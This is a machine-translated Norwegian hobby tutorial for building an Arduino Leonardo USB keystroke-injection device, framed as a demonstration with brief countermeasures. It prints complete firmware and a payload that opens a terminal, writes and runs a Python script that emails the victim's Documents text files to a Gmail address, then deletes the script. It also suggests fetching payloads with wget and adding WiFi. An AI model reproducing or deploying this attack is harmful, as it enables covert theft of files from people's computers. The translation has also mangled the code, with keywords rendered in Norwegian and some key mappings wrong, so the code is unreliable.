Innholdsfortegnelse:
- Trinn 1: Materialer
- Trinn 2: Bygg enheten
- Trinn 3: Hvordan det fungerer i detaljer
- Trinn 4: Motforanstaltninger
Video: Arduino Keyboard Exploit Demo (HID) og forebygging: 4 trinn (med bilder)
2024 Forfatter: John Day | [email protected]. Sist endret: 2024-01-30 11:24
I dette prosjektet skal vi bruke en arduino leonardo for å simulere et mulig USB -angrep ved hjelp av HID (humain interface device).
Jeg har laget denne opplæringen for ikke å hjelpe hackere, men for å vise deg noen virkelige farer og hvordan du kan beskytte deg mot disse farene. Denne enheten er ikke en enhet som kan brukes på hvilken som helst plattform for hackere, den er mer et bevis på konseptet i detalj.
Vi skal lære følgende:
- hvordan du bruker arduino leonardo til å etterligne tastatur
- hvordan lese data fra SD -kort
- hvordan lage et python -skript som skanner filer og sender dem på e -post
- hvordan du beskytter deg selv mot USB -hacking -enheter
Trinn 1: Materialer
Deler:
1. Arduino leonardo
2. mikro -USB -kortleser
3. noen få GB SD -kort
4. Trykknapp som denne (VCC, Ground og signal)
5. hun-hunn og hunn-hunn hunkabler
6. mikro -USB til USB -kabel
Trinn 2: Bygg enheten
La oss se gjennom arbeidsprinsippet før byggeinstruksjonene:
Arduino leonardo kan oppføre seg som en human interface -enhet (HID) og kan derfor etterligne mus og tastatur. Vi kommer til å bruke denne funksjonen til å åpne en terminal (i UBUNTU linux) og skrive et lite skript som får tilgang til /Dokumenter -mappen inne i brukerens hjemmemappe, kopier.txt -filer der og sender dem på e -post til noen. Hvis du vil finne ut mer informasjon, sjekk neste trinn.
Fordi det er en demoenhet, ting er veldig enkle, skal vi ikke lodde noe.
Byggeinstruksjoner
Før vi begynner å sjekke de vedlagte filene, har jeg lagt ved fritzingskjemaer og alle nødvendige filer
1. Monter komponentene:
* koble mikro -USB -kabelen til arduinoen
* koble nøkkelbryteren til arduino (bakken, vcc og ut modulen til D8)
* koble kortleseren til arduino (ved bruk av ICSP -topptekst). Arduino leonardo har ikke ICSP -hodet koblet til digitale pinner, så du må koble kortleseren til ICSP -hodet. Du finner noen tegninger av ICSP her: https://learn.sparkfun.com/tutorials/installing-an…. Koble SS -pinnen til den digitale pinnen 10
2. få arduino -koden, du kan klone arduino -depotet mitt på github: https://github.com/danionescu0/arduino og gå til projects/keyboard_exploit eller få det nedenfra:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Kommando::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HØY; ugyldig oppsett () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kort mislyktes, eller ikke tilstede!"); komme tilbake; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Lastet opp!"); forsinkelse (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filnavnOnCard); if (! dataFile) {Serial.println ("Det angitte filnavnet finnes ikke på SD -kortet, sjekk filnavnOnCard!"); } String line; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linje); sendToKeyboard (linje); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); komme tilbake; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (linje); trykk enter(); komme tilbake; } Serial.println ("Kommando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Kommando funnet:"); Serial.println (kommando); Keyboard.press (getCommandCode (kommando)); forsinkelse (delayBetweenCommands); }} Keyboard.releaseAll (); forsinkelse (delayBetweenCommands); } ugid pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); forsinkelse (sleepAmount); } char getCommandCode (strengtekst) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kode = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kode; kode = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kode; kode = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kode; kode = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kode; kode = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kode; kode = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kode; kode = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kode; kode = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kode; kode = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kode; kode = (tekst == "KEY_TAB")? KEY_TAB: kode; kode = (tekst == "KEY_RETURN")? KEY_RETURN: kode; kode = (tekst == "KEY_ESC")? KEY_ESC: kode; kode = (tekst == "KEY_INSERT")? KEY_INSERT: kode; kode = (tekst == "KEY_DELETE")? KEY_DELETE: kode; kode = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kode; kode = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kode; kode = (tekst == "KEY_HOME")? KEY_HOME: kode; kode = (tekst == "KEY_END")? KEY_END: kode; kode = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kode; kode = (tekst == "KEY_F1")? KEY_F1: kode; kode = (tekst == "KEY_F2")? KEY_F2: kode; kode = (tekst == "KEY_F3")? KEY_F3: kode; kode = (tekst == "KEY_F4")? KEY_F4: kode; kode = (tekst == "KEY_F5")? KEY_F5: kode; kode = (tekst == "KEY_F6")? KEY_F6: kode; kode = (tekst == "KEY_F7")? KEY_F7: kode; kode = (tekst == "KEY_F8")? KEY_F8: kode; kode = (tekst == "KEY_F9")? KEY_F9: kode; kode = (tekst == "KEY_F10")? KEY_F10: kode; kode = (tekst == "KEY_F11")? KEY_F1: kode; kode = (tekst == "KEY_F12")? KEY_F2: kode;
returkode;
}
3. Last opp koden til arduino, sørg for å velge 9600 baud rate, serieporten og arduino leonardo
4. Formater SD -kortet med FAT16 eller FAT32
5. Hvis du klonet github -repoen ovenfra, kopierer du hack.txt -filen på kortet, hvis ikke filen er oppført nedenfor:
Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Kommando:: KEY_INSERT import smtplib import glob, os fra os.path import expanduser fra email. MIMEMultipart import MIMEMultipart fra email. MIMEBase import MIMEBase fra e -post. MIMETekstimport MIMETekst fra e -post. Bruker import COMMASPACE, formatdato fra e -postimportkodere
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumenter'
subject = body = 'Filer fra hacket datamaskin'
header = 'Til: {0} nFrom: {1} nTema: {2} n'.format (til_adresse, smtp_bruker, emne)
def sendMail (til, emne, tekst, filer = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMETekst (tekst)) for fil i filer: part = MIMEBase ('application', 'octet-stream') part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filnavn = " % s"' % os.path.basename (fil)) msg.attach (del)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, til, msg.as_string ()) server.quit ()
sendMail ([til_adresse], emne, brødtekst, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Kommando:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Rediger følgende linjer:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'receiver_address'
Og bytt ut med e -postadressene dine
7. Ta ut kortet og sett det inn i arduino -kortleseren
Trinn 3: Hvordan det fungerer i detaljer
Slik vil angrepet fungere:
1. Når du trykker på knappen, vil leonardo lese sd -kortet ved hjelp av en sd -kortleser. En spesiell fil som inneholder nøkler og tastekombinasjoner vil være tilstede på kortet. Filnavnet er "hack.txt".
Filen kan inneholde rå tekst, og den overføres til tastaturet akkurat som den er.
Den kan også inneholde spesielle kommandoer som "Sleep::" og "Command::".
En linje som:
Søvn:: 200 betyr en søvn på 200 ms
En linje som:
Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t betyr venstre ctrl trykket, venstre alt trykket, t trykket og alt slippes
Du kan sjekke alle spesialnøkler her:
2. Leonardo vil lese linje for linje, og tolke kommandoene og etterligne tastene på tastaturet. Filen "hack.txt" inneholder en kombinasjon av nøkler som gjør følgende (for UBUNTU linux):
en. åpner en terminal (CTRL + ALT + T)
b. åpner en python -fil for oppretting ved hjelp av vi (skriver "vi hack.py"
c. skriver et python -skript inne som samler alle tekstfilene inne i dokumentets hjemmemappe og sender dem over til en spesifisert gmail -adresse
d. kjører filen i bakgrunnen ("nohup python hack.py &")
e. sletter filen (rm -rf hack.py)
f. lukker terminalen (ALT + F4)
Det hele går på få sekunder og setter ikke spor.
Forbedringer og feilsøking
* Du vil kanskje legge merke til at etter at jeg åpnet en terminal, skriver jeg python -filen. en bedre måte å gjøre det på er å være vert for det et sted og laste det ned ved hjelp av "wget some_url" -kommandoen, og deretter gi det nytt navn til hack.py
* Vi kan også laste ned eller kjøre en ferdig utnyttet for det målrettede operativsystemet
* wifi kan legges til modulen, og hackene kan lastes opp via WIFI
* du kan bruke arduino micro (som er mye mindre) og legge inn utnyttelseskode på den (for å gjøre den mindre)
Begrensninger
1. Fordi den simulerte enheten (tastatur og mus) ikke har noen tilbakemelding, vet vi ikke hva som vil skje etter at vi har utstedt en kommando som betyr at vi må bruke forsinkelser. For eksempel sender jeg en kommando for å åpne terminalen, men jeg vet ikke når den faktisk vil være åpen, så jeg må spesifisere en vilkårlig forsinkelse for å sikre at tegnene som er skrevet etter ikke vil gå tapt.
2. Vi kan støte på tillatelsesproblemer som å ikke ha tilgang til USB -porten eller tillatelse til å installere noe
3. Skrivehastigheten er ikke så stor på leonardo
4. Vil bare fungere på et målrettet operativsystem (i vårt tilfelle UBUNTU linux)
I det neste trinnet vil vi prøve å finne måter å utnytte disse begrensningene for å forhindre at datamaskinen vår blir hacket
Trinn 4: Motforanstaltninger
1. Deaktivering av USB -porter
-for Windows kan du sjekke denne opplæringen:
2. Hviteliste USB -enheter:
- for windows:
2. Lås datamaskinen når du ikke er borte
3. Ikke logg inn som root (krever passord for å installere noe)
4. Hold deg selv oppdatert (automatiske oppdateringer på)
Anbefalt:
Forebygging av husholdningsgasslekkasje ved bruk av Arduino .: 3 trinn
Forebygging av husholdningsgasslekkasje ved bruk av Arduino .: I denne instruksen laget jeg en prototype som automatisk lukker gassknappen på LPG -sylinderen når det er en gasslekkasje. LPG er luktfri og et middel kalt Ethyl Mercaptan tilsettes for lukten, slik at det kan bli lagt merke til når det er en lekkasje
Arduino Easy Midi Keyboard: 5 trinn (med bilder)
Arduino Easy Midi Keyboard: Jeg er en enorm musikknerd og elsker absolutt å lage mine egne instrumenter og gadgets, men jeg har ikke mye kompetanse eller ressurser til å fullføre komplekse prosjekter, så da jeg kom over PretEnGineerings -opplæringen, var jeg begeistret og ville gi den en skutt. En av
Keyboard Cap Micro Watercolor Bots: 12 trinn (med bilder)
Keyboard Cap Micro Watercolor Bots: Disse små robotene stammer fra en favoritt personlig designutfordring: å utforske den minimale mengden materialer og verktøy som er nødvendige for å lage noe. I dette tilfellet er noe som er og/eller gjør "kunst." Nært knyttet til dette målet mitt ønske
K -Ability V2 - Open Source Accessible Keyboard for Touchscreens: 6 trinn (med bilder)
K-Ability V2-Open Source Accessible Keyboard for Touchscreens: Denne prototypen er den andre versjonen av K-Ability. K-Ability er et fysisk tastatur som tillater bruk av berøringsskjermenheter til personer med patologier som resulterer i nevromuskulære lidelser. Det er mange hjelpemidler som letter bruken av datamaskiner
DIY Keyboard Controller for MAME og Virtual Pinball: 4 trinn (med bilder)
DIY Keyboard Controller for MAME og Virtual Pinball: Dette settet med instruksjoner lar deg lage din egen tastaturkontroller ved hjelp av gamle tastaturer for litt tråd, loddetinn og et stykke tre. Disse kontrollerne har blitt brukt i mine MAME og Virtual Pinball -prosjekter .Se Virtual Pinball Inst